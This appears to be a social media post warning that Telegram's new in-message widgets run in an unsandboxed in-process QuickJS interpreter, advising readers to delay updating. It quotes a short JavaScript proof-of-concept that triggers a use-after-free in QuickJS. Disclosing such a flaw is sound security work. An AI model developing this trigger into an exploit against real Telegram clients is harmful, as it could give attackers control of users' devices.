新版 Telegram 支持消息里带“应用”,但没有沙盒保护,使用的 QuickJS 有可能成为恶意代码触发执行…真感觉 Telegram 脑抽了,花里胡哨容易引入不必要的风险,现在的 AI 漏洞挖掘和利用已经远胜从前。
建议等等,暂不更新 Telegram。
Telegram shipped a "sandbox" for HTML widgets in messages. It's an in-process QuickJS (C) interpreter on a thread...
No fork, no isolatedProcess, no seccomp anywhere in the tree, so any QuickJS exploit is enough to gain full control with whatever privileges the Telegram client is running as without the need for any separate sandbox escape
The bug is a UaF in the interpreter, from standard JS:
```js
class D { [Symbol.dispose]() {} }
const d = new D();
let leak;
class C { static {
for (await using x of [d, d]) leak = () => x;
}}
// ... run anything ...
leak() // reads a freed frame
```
The fix for this particular vuln is still just in the master branch, and considering the number of vulnerabilities QuickJS has had in the past, this vuln will surely not be the last...
显示更多